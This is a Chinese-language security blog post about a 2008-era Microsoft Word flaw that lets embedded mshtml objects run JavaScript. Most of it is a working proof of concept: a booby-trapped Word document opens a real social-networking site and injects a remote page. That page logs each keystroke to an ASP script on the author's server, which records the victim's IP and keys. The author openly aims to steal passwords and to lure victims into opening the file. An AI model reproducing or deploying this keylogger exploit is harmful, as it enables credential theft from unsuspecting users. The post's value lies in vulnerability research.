对MS word javascript execution的一些测试
作者:余弦
来源:0×37 Security
Microsoft word javascript execution原文:http://marc.info/?l=bugtraq&m=121121432823704&w=2,hi群内讨论过。可以得出一些结论:
1、由于安装Q313675 安全修补程序后禁用ActiveX 内联数据流功能,使得利用JS直接创建ActiveX对象而执行恶意codz的方法不可行。如下code:
<html>
<OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:document.write('<script src=http://www.0x37.com/doc.js></script>')"></OBJECT>
这个远程的doc.js文件能力有限。但是弹出对话框或一个新窗口还是可以的。
2、漏 洞其实出现在xml文件上,类似于上面这样构造后的html用word打开后另存为xml时,里面的数据都被相应转换为xml格式。然而xml里 的<w:ocx w:data=”……” />却可以引发JS的执行。问题就出现在这。而无论后缀是.doc或.rtf或.xml都将以word默认方式打开,此时word充当一个解释 器,<w:ocx w:data=”……” />内的数据被解释执行而引发JS。
3、AE24FDAE-03C6-11D1-8B76-0080C744F389是mshtml.dll的classid。要找出漏洞起因与修补这个漏洞这些信息还是有价值的。
既然这个JS能力有限,那就来点好玩的,如这里提到过的:http://www.0x37.com/post/15.html。下面这个POC是这样进行的:当用户打开我们恶意构造后的word文档doc.doc后,会弹出校内网的首页http://www.xiaonei.com(拿它做实验,完全是出于我的惯性……)。接着我们就可以记录用户在这个页面上的键盘记录了:)。也许密码就直接抓过来了(假如其他用户和我一样,打开校内网就直接快速输入密码然后Enter,这个完全是习惯……)。
doc.html代码如下:
<html>
<OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:x=open('http://www.xiaonei.com/');setInterval (function(){try{x.frames[0].location={toString:function(){return%20'http://www.0x37.com/Project/poc/docshell.html';}}}catch(e){}},3000);void(1);"></OBJECT>
HI
按照http://marc.info/?l=bugtraq&m=121121432823704&w=2这里的方法生成doc.doc文档(这就是那个邪恶的文档,改个好名字,方便骗人打开)。
远程的docshell.html代码如下:
<html>
<body bgcolor="#333333">
<div id="o"></div>
<input type=text id="x" style="width:0;height:0">
<script>
var _x=false;
if(window.XMLHttpRequest){
_x=new XMLHttpRequest();
}else if(window.ActiveXObject){
_x=new ActiveXObject("Msxml2.XMLHTTP");
if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");}
}
document.onkeydown=function(e){
if(!e)e=window.event;
try{
tmp=(String.fromCharCode(e.which||e.keyCode));
_3or7("GET","http://www.0x37.com/Project/poc/docshell.asp?tmp="+tmp,null);
}catch(ex){}
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
_x.send(_a);
return _x.responseText;
}
setInterval(function(){try{document.getElementById('x').focus();}catch(e){}},100);
focus();
</script>
</body>
</html>
而远程的docshell.asp代码如下:
<%
ip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If ip="" Then
ip=Request.ServerVariables("REMOTE_ADDR")
End If
tmp=Request.QueryString("tmp")
'Response.write(tmp)
filename="docshell.txt"
Set fso=Server.CreateObject("Scripting.FileSystemObject")
set file=fso.OpenTextFile(server.mappath(filename),8,true)
file.write(ip+">> "+tmp+chr(13))
file.close
set file=nothing
set fso=nothing
%>
接着就可以在这http://www.0x37.com/Project/poc/docshell.txt看到我们键盘记录的结果:)。完整文件在这:http://www.0x37.com/Project/poc/wordjs.rar。不过这个键盘记录还是有缺陷的,本想结合这里http://www.0x37.com/post/15.html提到的方法来构造更邪恶的代码,可是并不顺利……那以后再说了:)。现在就等老胡大牛关于这个漏洞的进一步消息。